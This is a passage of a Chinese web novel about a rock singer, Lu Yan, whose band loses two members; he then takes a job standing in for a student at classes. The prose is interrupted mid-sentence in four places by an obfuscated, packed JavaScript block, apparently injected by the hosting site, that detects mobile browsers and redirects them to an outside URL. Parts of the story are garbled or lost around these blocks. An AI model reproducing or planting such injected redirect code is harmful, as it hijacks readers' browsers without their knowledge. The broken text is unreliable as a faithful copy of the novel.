高温天气,外头风吹日晒。 两个患难兄弟只能坐在车里打发时间。 “我以前还真不知道咱市还有这么个地方,”翟壮志说,“刚才绕半天才找着一小杂货铺,铺子里卖的都是什么你知道吗——我头一回见到旺子牛奶。” 肖珩心说,我头一回听到有人能把吉他弹得那么烂。 头一回见着杀马特。 更是头一回跟人在楼道里打架。 “对了,人找到了吗,”翟壮志想起来他们这次下城区之旅的重点,“那女的怎么说,她总不能知道了你爸不打算养这个孩子,还扔给你们家吧……自己的亲骨肉,真这么狠心?” 翟壮志话刚说完,肖珩手机屏幕开始闪。 手机屏幕上是三个字:肖启山。 肖珩没接。 翟壮志想问怎么不接,余光瞥见屏幕便知道怎么回事了。 肖启山。 这三个字好像有魔力,肖珩从出来到现在一直以来压着的那股情绪终于再怎么压也压不回去,几乎要把他整个人吞没,从胸腔里所有的空气瞬间被挤干。 男人庄严又不带感情的话仿佛能透过屏幕钻出来——肖珩,我怎么就生出你这么个废物。 废物。 他渐渐地觉得呼吸不过来,手指指尖变得特别躁,这种躁就跟火烧一样。 干,且烫。 烟瘾犯了。 没人说话,车内安静几分钟,然后外面倒是有人敲了敲他们的车窗,用带着点口音的不标准普通话关切地说:“小兄弟,车抛锚了?前面有家汽修店,要不要帮你们打个电话?” 肖珩把车窗降下来。 车窗外弯着腰说话的是个陌生男人,穿灰色工装,脸上有道疤。 “谢谢,已经打过了,”肖珩现在这个状态根本不想跟任何人多说话,但是对方没有要离开的意思,于是他又问,“还有事吗?” 刀疤眼睛定定地看着肖珩降车窗的那只手上的表,又不动声色打量了一圈车里环境,然后笑呵呵道:“我远远看着这辆车就觉得眼熟,我以前也有一辆差不多的。” 刀疤开始讲自己的爱车,讲述他如何开着它走遍全国各地,又忽然语调一转,颇有些唏嘘:“不过车早没了,被我捐了。别看我这幅样子,我以前是开食品加工厂的,也算辉煌过……但是后来我发现,这钱财啊都是身外之物。” 中间省略一大段关于自己从白手起家到事业辉煌的演讲。 “有钱又怎么样呢,再多的钱只会让人觉得空虚,找不到人生真正的意义,迷失在物欲的横流里。” “所以哥现在把全部的重心都放在慈善事业上,帮助沙漠绿地化,资助山区贫困儿童上学,”刀疤把手机掏出来,三两下点开百度,找出一张照片,照片上是残破的教室,抵不了风挡不住雨,“你看看,这就是贫困儿童的学习环境,你难不难受,痛不痛心?” 翟壮志听得一愣一愣的,他目光定在那张照片上,点点头:“这学习环境真的是艰苦。” 肖珩:“……” “是啊,眼看着一个个怀揣梦想的孩子被雨水打湿翅膀,负重前行。” 刀疤拍拍翟壮志的肩膀,说到动情处,语调变得铿锵有力:“所以我更加坚定地在我的慈善道路上继续前行!人最重要的就是活出自己的价值,这个世界上很多有比钱更重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727106|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情,小兄弟,哥现在手头上有三个慈善项目……” 刀疤说着,伸出三根手指。 刀疤正打算详细介绍那几个慈善项目,听到身后有个熟悉的声音对他说:“手指头没被撅够?” 陆延骑在摩托车上,一只脚蹬地,正好停在刀疤身后。 他腿长,这个姿势做出来就像刻意找过角度的电影镜头似的。 “没钱的说要带人发财,遇到不差钱的就改成慈善,”镜头中心人物说,“思路很灵活,夸夸你。” 翟壮志还沉浸在被雨水打湿翅膀的贫苦儿童的慈善氛围里,这时候总算反应过来:“你是骗子?” 刀疤觉得陆延这个人可能是他招摇撞骗生涯里躲不过去的魔咒。 一道跨不过去的坎。 一堵翻不过的墙。 …… 刀疤声音都开始打颤:“怎么又是你,你没完了还?我是不是上辈子挖你坟了?!” 陆延对这番话表示认同:“可能是特别的缘分。” 刀疤再怎么不甘心,也不敢一个人对三个人,他左看看右看看你,最后扭头往道路另一侧溜了。 陆延这才去看车上的人:“肖……”他压根不知道人叫什么,肖不下去。 倒是肖珩下了车,并且直接伸手把也想下来看热闹的翟壮志摁回车里。 翟壮志脑袋直接磕上车门:“我去!” 肖珩:“你车里待着。” “刚才不好意思,”陆延看着他说,“都是误会。” 陆延看着面前这人一脸‘我不太想理你’的样子,觉得这位暴脾气大少爷估计不领情。 陆延等了三秒。 发现对方真的是不领情。 气氛有点尴尬,陆延摸摸鼻子又说:“601今天真不在家,你要是着急,等她回来我跟她说一声。” 这场面注定只是他一个人的独角戏,对方可能还是懒得理他,陆延正打算告辞,没想到面前这人说了两个字:“不用。” 陆延觉得他对这人第一印象一点错也没有,脾气性格都不怎么好,而且冷淡至极。 反正两人不熟,该说的话带到,陆延也不打算多问:“那行……你们这车没事吧?” 谈话间,不知道哪儿来的震动声。 嗡。 嗡嗡嗡。 肖珩循着声去看陆延蹬在地上的那条腿。 他今天穿的是条牛仔裤,应该是手机发出来的声响,手机紧贴在大腿根部,一有什么消息震得特明显。 陆延伸手掏了半天才把手机掏出来。 是伟哥。 他才刚把车开出来前后总共不到五分钟,伟哥就在电话里急不可耐道:“你小子追上没有,没追上就拉倒。都五分钟了,我车没事吧?” “追上了,能有什么事啊,”陆延说,“你儿子就是我儿子,我油门都没怎么拧,边上电动车都比我快……行,我马上回来。” 伟哥又叨叨一阵,这才切断通话。 陆延把手机塞回去,侧头去看肖珩,又重申一遍:“总之今天这事真对不住。” 说完他拧下油门,载着摩托车引擎声掉头往七区方向驶去。 5. 第五章 陆延开车回去的时候,威震天拆除公司的那帮人已经走了。陆延从车上下来,把钥匙扔给伟哥:“伟哥,你儿子还你。” 伟哥接过,绕着他那辆宝贝摩托车从车把手到车轮胎依次检查。 “怎么样,”陆延边甩手腕边问,“张大妈医药费讨回来了?” 伟哥确认自己那辆摩托没出什么问题,把钥匙挂回腰间,呵呵一笑:“给了,两千五,你伟哥出马还有讨不回的帐?” “牛逼啊。”陆延捧场道。 “那哥就上班去了,”伟哥看看时间,“你晚上有演出不?没有的话晚上咱哥俩喝一个,好久没跟你一块儿喝酒了。” 陆延平时除了白天会去打几份不固定的兼职之外,基本就是个夜工作者,一到晚上就往酒吧里钻。 陆延说:“改天吧,晚上有个场子得跑。” 陆延习惯提前两个小时去酒吧做准备,等时间差不多就开始收拾。 结果刚套上裤子,带金属链条的低腰牛仔松松垮垮地卡在胯骨处,裸着上身继续翻衣柜,翻到一半才突然想起来今天发生太多意外、导致他还有件重要的事没干。 陆延把背心扔回去,从通讯录里翻出一个叫‘孙钳’的号码。 电话嘟两声后通了。 直接飚出来一首震耳发聩的迪厅神曲,由于音量太强劲,传过来的时候甚至爆了好几个音:“射射射社会摇!买个表买个表!我老袋里在开趴体!不晃都不行!” “……” 陆延把手里拿远了点:“钳哥。” 然后电话那头才传出来一个男人的声音,说话声比迪厅神曲还响,中气十足地喊:“等会儿!我这忙着呢!” 声音顿了顿。 然后又是一句:“操.你妈敢在老子店里吸白/粉——把人丢出去,报警!丢远点,跟咱酒吧隔他妈个八条街……陆延你小子到底什么事?” 陆延看了眼日历,今天是五月一号,他觉得切入主题的方式还是得委婉一点:“钳哥,五一劳动节快乐。” 孙钳此刻正站在酒吧门口,刚收拾完躲在厕所里吸白/粉的傻逼,整个人都很忧愁。 “什么鬼节日,”孙钳忍无可忍道,“陆延你有屁就赶紧放放放!” 陆延这才说:“是这样。头我烫了,给报销吗。” “啥——?” 孙钳在厦京市商圈附近开了家酒吧,虽然资历老,但现在政策越来越严,开酒吧也不容易,要是这帮年轻人晚上蹦嗨了偷摸着来个聚众吸毒被抓着他就是跳河里也洗不清。不当心就得吃黄牌。 他平时要忙的事太多,听到烫头一时间还没想起来。 直到陆延又说:“就那个姹紫嫣红远看像团火近看像扫帚的傻逼发型,我劝你做人要有点良心。” 陆延和他组的那个乐队,四个年轻人在他店里驻唱快四年了。 上周他是提议让人小伙子换个特别点的造型。 不过…… “钳哥。”孙钳正想着,有位酒保从店里走出来,又不知道有什么事要说。 孙钳头疼得很,冲酒保摆摆手,让他等会儿:“怎么就傻逼了,那头发丝!彰显的就是一个帅字!两字那就是超帅!你钳哥我年轻的时候玩乐队那会儿这玩意儿可流行了,我当年就是这发型,你们现在这些小年轻真是不懂欣赏——不过你们乐队今晚演出不是取消了吗。” “取消?” “啊对,就刚才,大明和旭子一起给我打的电话,说来不了……我以为你们商量好了呢,我还问他们你知不知这事,他们俩支支吾吾半天说知道。” 孙钳说着,电话那头没声了。 孙钳又想问怎么回事,结果话说一半没说下去:“你们这——哎。” 陆延直到挂了电话也不知道自己最后是怎么说的,都跟孙钳说了些什么。 他脑子里断片了很久。 手机响了声,上头是两条一模一样的信息。 一条黄旭的,一条江耀明的: [哥,我俩干不下去了。] 紧接着是另一位显然也才刚得知此事的人。 李振:?????? 我操这怎么回事啊!一个两个的胡言乱语啥! 今天愚人节? 不对啊今天是劳动节啊! 操这是真的?! 陆延盯着手机屏幕,闭了闭眼,再睁开的时候才打字回复:别操了,真的。 他又加上两句: -把他俩叫上吧,出来见个面。 -老地方。 陆延发完,也不去管李振会回些什么,把手机往边上扔。 他目光定定地落在斑驳的墙皮上,上头贴着张海报,说是海报、其实也就是拿自己拍的照片打印出来的东西。 海报里的场景是个酒吧,迷幻的灯光从最顶上照下来,勉强挤下四个人的舞台看起来像会发光似的。 台下是一片高高举起的手。 他们隐在这片昏暗里。用自己的方式跟着呐喊。 舞台前面那根杆子上挂了块布。 像旗帜一样,上面是四个英文字母:Vent。 海报最下面写着—— 乐队成员:主唱陆延,鼓手李振,吉他手黄旭,贝斯手江耀明。 陆延说的老地方就是一路边摊。 平时乐队演出完他们就经常来这喝酒,聊歌、聊演出,讲点带颜色的垃圾话。 黄旭和江耀明出现在前面交叉路口的时候,串已经烤得差不多了,李振一个人干了两瓶酒,抱着酒瓶子单方面发泄情绪:“早不说晚不说,偏偏挑演出开始之前,有什么事大家不能一块儿商量?啊?这是兄弟吗,是兄弟能干出这事?” 陆延坐在他边上,抖抖烟灰,没说话。 “延哥,振哥。”黄旭个头不高,人特别瘦,他犹犹豫豫地叫完,又尴尬地说,“延哥你这头发烫得很拉风哈。” 江耀明站在后头点点头:“真的很拉风,大老远就瞅着了。” 四个人坐一桌,气氛稍显沉默。 毕竟是相处了四年的队友,陆延打破沉默:“怎么回事?聊聊?” 黄旭和江耀明两个人低着头没人说话,过会儿黄旭才呐呐地说:“我妈病了……” 他们两个人很相似,十六岁就背着琴到处跑,家里人极力反对,没人理解什么乐队,什么是‘摇滚不死’。 但生活给人勇气的同时,也在不断教人放弃。 搞乐队多少年了? 在地下待多久了? 以前不分白天黑夜满腔热血地练习,现在晚上躺床上睁着眼睡不着,脑海里不断环绕着的居然是不知道什么时候萌生出来的念头:算了吧。 其实乐队解散不是什么稀罕事儿。 太常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727107|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了。 这几年在防空洞彩排,防空洞里各式各样的乐队来来去去,成团,又解散。 理想太丰满现实太骨感,年轻的时候还能义无反顾追寻梦想,过几年才发现始终有根看不见摸不着的线长在你身上,那股劲一扯,你就得回去。 陆延记不清抽的是第多少根烟:“……阿姨身体没事就好,决定好了?” 黄旭猛地抬头,绷不住了,眼泪直直地落下来,哽咽道:“延哥。” 陆延实在不擅长应对这种悲情氛围,脚蹬在地上站起来,打算去冰箱里拿酒水:“好好说话,别在老子面前哭——” 李振把捧着的酒瓶子放下,也说:“哭哭啼啼的干什么呢,不知道的还以为我们这在演八点档苦情剧。” 这顿散伙饭吃到十点多。 烧烤摊生意红火,几个孩子聚在一起绕着摊子你追我赶,下城区作为最不发达区域,跟市里其他地方比起来唯一的优势就是晚上能看到星星。 这天平常得就像平时任何一天。 饭局结束后陆延没坐公交,往前走了段路,走到半路酒喝太多反胃,蹲下来干呕。 可能因为喝得多了,他盯着路灯倒影,想起来四年前头一回见到黄旭和江耀明时的情形。 老实说这两人琴其实弹得并不怎么出色,能被他和李振遇到也是因为去其他乐队面试没选上,但那会儿这俩男孩子浑身都是干劲,一提到音乐眼睛就发亮。 接着脑海里画面一转,转到烧烤摊上,黄旭眼底没什么波动地说:“买了回去的车票,三天后的火车,我妈身体也稳定下来了。家里人给我在县城里找了份工作,汽修……我以前上职校的时候学的就是这个,不过没念完,工资挺稳定的。” 陆延撑着路边台阶,眼前那条街道都仿佛是虚的,光影交错间有种强烈的不真实感。 他走回小区花了一个多小时,这一个多小时里来来回回的想了很多。 四年前的夏天,那时候他们乐队才刚组建起来,是个说出去谁也不知道的乐队。几个人配合得也不行,找个词形容那就是合伙单干,身体力行地表达出一个想法:让开,这是老子的场子! 从15到19年——他们在城市防空洞里没日没夜的排练,在这种隐秘的,黑暗的,密闭的空间里疯狂制造喧嚣。 陆延走到七区门口,废墟之间,六号三单元亮着几盏灯。 上楼。 开门。 陆延站在浴室里才终于有了一丝虚幻之外的真实感,冷水从头顶冲下,他头上那团高高立起的扫帚头洗完之后服服帖帖地垂了下来。 为了演出烫的这个傻屌头到最后也没派上用场。 说不清心里什么感觉。 也许是后悔。 早知道废那个几把劲干什么。 陆延洗完澡后没顾着把头发擦干,他单手撑在水池边上,另一只手里拿着把剪刀比划着,想找个最佳的下手位置。 染发剂是从头发后半段才开始抹的,红紫色渐变跟原来黑色的地方接着,只不过接得不太均匀,高低深浅都不一样。 陆延最后凭感觉随便剪了几刀。 有碎发沾在脸上,他接水洗了把脸,洗完睁开眼去看镜子。 把头发剪短之后只有发尾还有几缕不甚明显的挑染上的颜色,几年没剪短过头发的陆延摸摸裸.露在外的后颈,觉得不是很习惯。 6. 第六章 散伙饭之后陆延两天没有出门。 除了睡觉几乎什么都不干,饿了就起来泡泡面,吃完接着倒头睡觉。 手机没电自动关了机他也没去管,一直扔在床头没有动过。 他也说不清自己现在这到底是个什么状态,到底是逃避,还是在调整。 江耀明和黄旭退队之后,所有乐队演出活动都得暂时终止,不光演出,每周为彩排空出来的时间也不少,现在这些时间都被抹成了空白。 这种空白像条看不见的藤蔓,一点一点缠上来。 尽管生活和之前其实没什么太大不同。 第三天早上,他终于洗了把脸,把长出来的胡茬仔仔细细刮干净,又去附近理发店修了头发。回来之后烧个热水,在等水烧开的过程里,想找充电线,在柜子里翻半天,翻到一张画工粗糙的CD专辑。 那是他们乐队发行的第一张专辑。 名字取得尤其中二,叫‘食人魔’。 专辑封面是陆延自己画的,画了一个具有抽象派画家潜质的山羊头。他没学过画画,但由于大部分预算都投在了录音棚里,不得不亲自操刀。 主打歌风格特别,歌曲最高潮的地方由陆延的两句低声清唱开始,然后铺天盖地的鼓点、节奏顷刻间席卷而来: “将过去全部击碎 还剩谁 快走吧 快走吧 快走啊 …… 什么上帝的称谓 就算不断下坠也无所谓” 激烈的节奏,带着想要撕破一切的狂妄。 专辑寄售在音像店里,卖得意外地好,音像店老板还开玩笑地打趣他们:“准备什么时候开个演唱会啊。” “总有一天,”当时江耀明抹一把汗,意气风发地说,“我们会站到最高最大的舞台上!” 陆延找到充电线,插上手机,等开机界面自动跳出来,紧接着就看到一长串未接来电。 孙钳,李振,黄旭…… 陆延先给孙钳回了通电话。 演出临时取消这事做得不仗义,演出信息几天前就发出去了,临时取消对酒吧来说也有一定影响,陆延觉得怎么着也得给孙钳赔个不是。 但孙钳为人豪爽,不是计较这种事的人,比起演出他更关心这四个年轻人:“跟我还扯什么抱不抱歉的,你们几个最后谈得怎么样?” 陆延没说太多,只道:“他俩家里出了点事儿。” 就像孙钳之前说的,他年轻时候也玩过乐队,哪儿能听不出来‘家里有点事’背后的意思。 他当年组的那个校园乐队也是,大学毕业之后各奔东西,上班、结婚、生子…… 孙钳在心里默默地叹口气。 陆延他们乐队绝对不是第一支在他们酒吧驻唱的乐队,这些年轻人玩乐队、来来去去的,但这支江湖人称的“魔王乐队”绝对是驻唱时间最长的一支。 四年啊。 四年时间意味着什么,孙钳记得那会儿陆延还是个从来没上过台的主唱。 控场能力十分糟糕,演出事故时时刻刻都在发生,麦克风都往台下掉过几次,最狠的一次甚至连人带麦克风一起掉下台。 孙钳觉得自己一个外人看着都难受,更何况陆延,于是他安慰道:“人生就是这样,理想这个东西吧,太虚。有时候谈再多理想,最后也都是要回归生活的,尤其玩摇滚……你也别气馁,咱们这大环境就这样,地下待着,可以,你想往地上走,太难了。” 陆延没说话。 孙钳:“生活嘛,有时候就是在教你学会妥协。” 孙钳正说着,陆延却突然喊了他一声:“钳哥。” 孙钳:“?” “可我认为,”陆延说话的时候恍惚间回到了几年前,他后半句话语速放得很慢,“……生活是永不妥协。” 孙钳听到这话整个人都愣住了。 陆延又道:“不说了钳哥,我等会儿还得去车站送送他俩。” 陆延收拾好准备出门,门外突然传来一声巨响。 是踹门的声音。 紧接着是陌生女人越来越癫狂的声音:“贱人,勾引别人老公,你就该想过今天,你出来——” 601开了门。 601那位不知道姓名的女人今天身上穿的是条黑色露背短裙,很风尘的扮相。似乎是刚回楼没多久,还没来得及卸妆,眉眼都是倦意,口红和眼影都叠得很厚,叠成一种非常廉价的艳丽。 她倚在门框边上,指尖夹着一根细长的女士香烟,开门之后就被门外砸门的陌生女人一巴掌扇地偏过头去。 但她似乎毫不在意,把散落在脸颊的头发丝别到耳后,又吸了一口烟说:“够了吗?” “管不好自己男人,”她吐烟的时候笑了,“跑我这撒什么疯?” 这句话激得陌生女人红了眼。 但601不打算再接着跟她多说什么话,只道:“你还不走的话我就报警了。” “你报警?你报啊,我看警察是先抓我还是先抓你这个妓/女——” 妓/女这个字眼尖锐得仿佛能划破空气。 601什么话也没说,她又把门给关上了。 陆延目睹了一场闹剧,觉得尴尬,而且现在看到601那扇门就能想到那位脾气有点臭的大少爷。 两个人怎么想也联系不到一块儿去。 他找她什么事? 要跟她说一声吗? 但人都说了不用。 陆延在要不要多管闲事之间挣扎。 ……算了。 陆延收回目光。 心说,管那么多干什么。 江耀明黄旭两人买的是今天上午十点开往青城的火车票,李振给他打电话也是为了这事儿,问他去不去送行,结果电话没打通。 火车站人群熙攘。 闷热的天气,周围到处是流着汗着急忙慌赶路的人们。 陆延在一群手拖行李箱、肩扛大麻袋的人流里一眼就看到了他们乐队两位成员——在川流不息的这些人群里,也只有他俩身后背着的是一个琴包。 来厦京市奋斗四年,两人的行李并不多。 陆延还没走近,黄旭远远就瞅见他了。 “延哥!”黄旭喊,继而又惊奇地说,“换发型了?” 陆延笑笑说:“嗯,怎么样。” 黄旭:“帅。” 他怕陆延不相信,又强调一遍:“真的帅,跟以前不一样的帅。” 陆延剪短头发之后虽然不似以前那么离经叛道,五官看起来反而更加突出,额前碎发被风吹成了中分。 “昨天晚上给你打电话没联系上你,还以为你不来了呢。”李振说。 “手机没电,忘充了。” “服了你了,你怎么不把自己给忘了。” “烦不烦,这不是来了么,”陆延把提前买的零食递过去,“怕你们东西多不好拿,没买多少,凑合吃。” “买这些干什么,”江耀明接过说,“我们都有。” 陆延很果断:“好的,还给我。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727108|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江耀明:“你是不是人?” 陆延:“还我。” “哪有人送出去的东西还要拿回去的???” 几个人唠了几毛钱没营养的嗑。 陆延抬头看看屏幕上滚动更新的到站信息,厦京市开往青城,K126次列车:“快检票了?” “证件都带齐了吧。” “带着呢,等回去给你们寄青城的土特产!我们那儿的煎饼真的是一绝……” 江耀明正说着,陆延走上前,拍拍他和黄旭的肩:“行,我等着。一路顺风。” 李振也加进来凑热闹。 四个大男人肩揽肩抱在一起的场面并不是很好看,陆延正准备撒手往后退一步,就听到黄旭在四个人头对头的小空间里低低地说了三个字:“对不起。” 这其实是一个很奇妙感觉。 相处四年的队友马上就要分道扬镳。 厦京市和青城,这两座城市隔着两千多公里。 陆延以为自己调整了两天应该把心情都调整完了,但直到这个时候他才深刻地意识到现实和脑内做的各种准备完全不同:这两人是真的要走了。 虽然黄旭那吉他水平这几年进步也不是很大,但以后也听不到了。 江耀明总是嫌自己的贝斯存在感太低,在录音棚里偷偷把自己那份音量调高,在演出的时候贴着音箱“轰”。 耳边又是低低地一句:“对不起。” 这句是江耀明说的。 “请乘坐K126次列车的旅客准备检票上车。” 语音播报了两遍,两人低头找车票证件,拖着行李箱准备进去检票,听到陆延在他们身后来了句:“……你俩有完没完。” “对不起什么,把对不起都给老子收回去。” “那么希望退队?” “这退队申请我批了吗?” 陆延突如其来地、几句炮语连珠的话把其他三个人都说傻了。 “想得倒是挺美啊。” “不管你们俩走到哪儿,以后要去做什么,是在青城卖煎饼还是在乡下种大葱,你们永远都是vent的一份子。” 陆延最后说:“这不是退队,也不是解散。V团不会解散。” 李振反应过来:“对!不会解散!卖煎饼就算了不过种大葱到底是什么奇怪的工作啊……” 这番话说完,一时间谁都没有说话。 江耀明背过身,飞快地拿手背抹眼睛。 黄旭的眼睛一点一点地红了,眼泪直直地砸下来:“延哥……” 陆延说完自己也觉得感动,看着黄旭这幅样子更是想伸手拍拍他的头。 结果黄旭下一秒就用他带着哭腔的支离破碎的声音说:“延、延哥,我走了之后,你真得好好练你的吉他……你吉他弹得实在是太烂、烂了。” “你、弹得烂你还那么多要求,真的很烦人,不是每个吉他手都像我一样好说话,有、有本事你自己弹啊……” 陆延的手伸到一半,僵住了。 黄旭哭得都快打嗝了还在继续:“你说你手指头长这么长,有、有什么用呢……” 陆延:“……” 陆延想收回自己之前的那番话。 这个乐队,可以散。 最后这场送别会差点以李振拖着陆延、不让他在公共场合暴打队友,江耀明和黄旭两个人哭着把车票递给检票员告终。 开往青城的火车最后还是在这个夏天带走了两位曾经背着琴,在防空洞门口挨个问“你们乐队招人吗”的摇滚青年。 7. 第七章 等火车开走,李振坐在休息椅上,觉得像做了一场梦,他在陆延叫他的时候,这才反应过来,神情茫然地问:“就剩咱俩了?” 陆延看着他,手插在裤兜里,“嗯”了一声。 李振其实前两天没觉得什么,该去琴行带学生就去上课,吃得好睡得好,他不知道有时候人的情绪是会迟到的,于是他又自言自语般地重复一遍:“就……剩下咱俩了?” “走吧,”陆延说,“回去了。” 李振低下头抹了把脸。 陆延又抬头望望外边的天,说出后半句话:“顺便去防空洞走一圈。” 李振:“???”是他想得那样吗? 陆延相当自然地说:“纳新啊。” 防空洞除了各大乐队会聚集在那里排练,也是新人面试的地点。李振那点忧伤的气氛直接被陆延击散了。 李振简直难以置信:“你刚才还对着人黄旭和大明一口一个你们永远都是Vent一份子,那话说得贼他妈感人,我都快哭了,结果人才刚上火车没到两分钟扭头你就要去纳新?!” 陆延:“有什么问题吗?” 李振:“……” 陆延就是开个玩笑,等李振状态被调起来之后他才说:“逗你玩的,再说这个点防空洞也没什么人。” 李振揍他一拳,跟了上去:“你妈的,重点是这会儿没人吧,要有人你立马就去。” 陆延走在他前头,煞有其事地附和:“是啊,可惜了。” 陆延没有用多的什么话安慰他,李振却知道,他这是在跟他说:别垂头丧气,接着干就完了。 陆延确实也是这个意思。 贝斯手和吉他手的位置一时半会儿不好补,而且这一缺就是两个空位。 找到合适的人不容易,就算每天蹲在防空洞,也说不准什么时候能蹲到人,所以比起乐队纳新,陆延想先把涉及到日常开支的那部分财务空白补上。 ……人是要恰饭的。 “哎,”趁着在路边等车的空档,陆延用胳膊肘顶顶李振,“问你个事。” 李振从衣服口袋里掏出一盒烟,给陆延递过去:“怎么的?” 两个人蹲在大马路牙子上抽烟。 陆延抽了一口才说:“你那儿有什么活吗?” 李振开始在自己的大脑里进行信息检索:“你说工作?容我想想啊……” 陆延毫不客气地直奔主题,他抽烟的时候嘴唇泛着些白,可说出来的话却一点也不弱:“你不是在琴行教架子鼓么,我觉得你那工作还行,你跟你们老板引荐引荐我?” 李振:“你教啥,吉、吉他?” “嗯,”陆延说着偏过头,非常认真地琢磨了一下,“贝斯我也行。” 李振:“……” 李振深吸一口烟,起身告辞:“我车来了,我先走了。” 兄弟靠不住,陆延只能自食其力。 他叹口气,打算先找几个短期兼职先把这片空白过渡过去。 收藏的几家同城兼职网上近期的更新信息都不多,陆延上车之后看了一路,兼职没找着,倒是收获了一箩筐的问候。 好事不出门坏事传千里。 来的第一个是兄弟乐队——总在防空洞里跟他们对着比谁音量更强的黑桃乐队,贝斯手袋鼠:你们乐队解散了? 解散了? 真解散了? …… 陆延回:什么解散,这叫重组。别担心,你爸爸还是你爸爸。 袋鼠:呵呵。 袋鼠呵呵完,于心不忍,毕竟还是个有良心的人,于是又发过来一句:凡事讲究个缘分,别太难过了。 陆延看一眼车窗外头,手指触在手机屏幕上漫不经心地打字:袋鼠啊。 袋鼠:? 陆延:有没有兴趣来我们乐队? 袋鼠:…… 陆延:我觉得你跟我们V团就挺有缘的。 袋鼠:……………… 陆延手指长,打字的时候指节曲起,指甲修得很干净——他手指是真的长,黄旭走之前的控诉真是发自肺腑的,作为乐队吉他手这条件他羡慕都羡慕不来,然而他也是真的不知道为什么陆延弹不好琴,这一下能跨几个格啊! 陆延:我们这就缺像你这样有梦想有实力的人,你们那个团都多久没出新歌了,我这有首新歌demo,来我这,施展你的才华。 [‘袋鼠’开启了朋友验证,你还不是他(她)的朋友。] 来的第二个是黑桃的队长。 队长上来就发了一套暴打表情包:陆延!你几个意思,撬墙角这事你也干,你还有没有下限了! 面对黑桃乐队队长的怒火,陆延打下一句:那,要不……你来我这? 队长:…… 陆延:我记得你吉他弹得也还凑合吧,虽然技术不够,勤加练习也是有上升空间的,要不别打鼓了,来我这,我们一起做出一番事业。 迎接陆延的又是一套暴打表情包。 一个火柴人被另一个火柴人拽在手里旋转几圈,然后狠狠抡了出去。 队长:我他妈疯了才来找你! 陆延靠着车窗笑半天,他最后发过去的是一句:真没事,谢了,兄弟。 公交从奔涌不息的车流里拐出去,蜿蜒南行,迎着烈日朝下一站驶去。 陆延现在习惯性到家开门之前看一眼对门601,只不过601那个女人不在家的情况居多,房门紧闭,见不着人。 出门前那场争执让人印象太深。 妓/女两个字光是回想,仍觉得刺耳。 陆延侧过头,没有再去想这件事,他把钥匙怼进钥匙孔里。 门开了。 等他回到家再翻看兼职网,同城兼职网站上才新更新出来几条新消息。 其中最引人注目的是一条: 诚招替课,我兄弟好几天没来学校了,为了让他玩得开心玩得放心,在此替他寻找替课的有缘人。C大经济学专业,主要课程有国际经济学、企业管理、市场营销、国际金融等……价钱好说。 这是一个大型兼职平台。 涵盖了各种各样的业务,什么离谱的活都有,他不止一次看到过学生约架找帮手:“XX中学,学校小树林,要十个人,居然敢抢我女朋友,我要让他知道谁才是真男人!” 这种兼职平台上发布的任务基本都是些日结的散活,虽然业务范围广到让人难以想象,但替课确实不多见。 总的来说替课这个活挺让人心动的。 不用在外头风吹日晒,还能学到点有用的没有用的知识。 再不济在课上开个小差,四舍五入就等于带薪休假。 陆延边脱衣服边把兼职信息倒回去看了一遍,最后停在‘C大’这两个字眼上。 LY:怎么联系? 对面回复得很快:在的。 陆延裸.着上身,没想到对面回得那么快,他才刚把腰带抽出来,牛仔裤半垮不垮地挂在腰间。他也顾不上太多,连忙打字准备推销自己:本人有多年校园上课经验,并且十分具有兼职精神…… 只是话还没打完,对面直接发过来一句:有照片吗? 还要看照片? 这是什么奇怪的要求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727109|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 陆延在同城兼职网上浪迹多年,什么兼职没干过,就连小树林也去过两次,头一次碰到要照片的。 对面也知道这个要求不太正常,于是解释:是这样的,我兄弟长得太帅,普通人替不了。 LY:…… 对面:唉,长得帅也是一种烦恼。 对面:所以你有照片吗?能拍一张看看吗? 这还不如别解释。 越解释越不对劲。 陆延觉得这个人不正常,他正打算缓缓撤离,手机“叮咚”一声,对面的消息又进来了:一节课两百,你要觉得少可以提。 LY:照片是吧。 LY:有。 LY:马上给你拍。 打脸的速度太快。 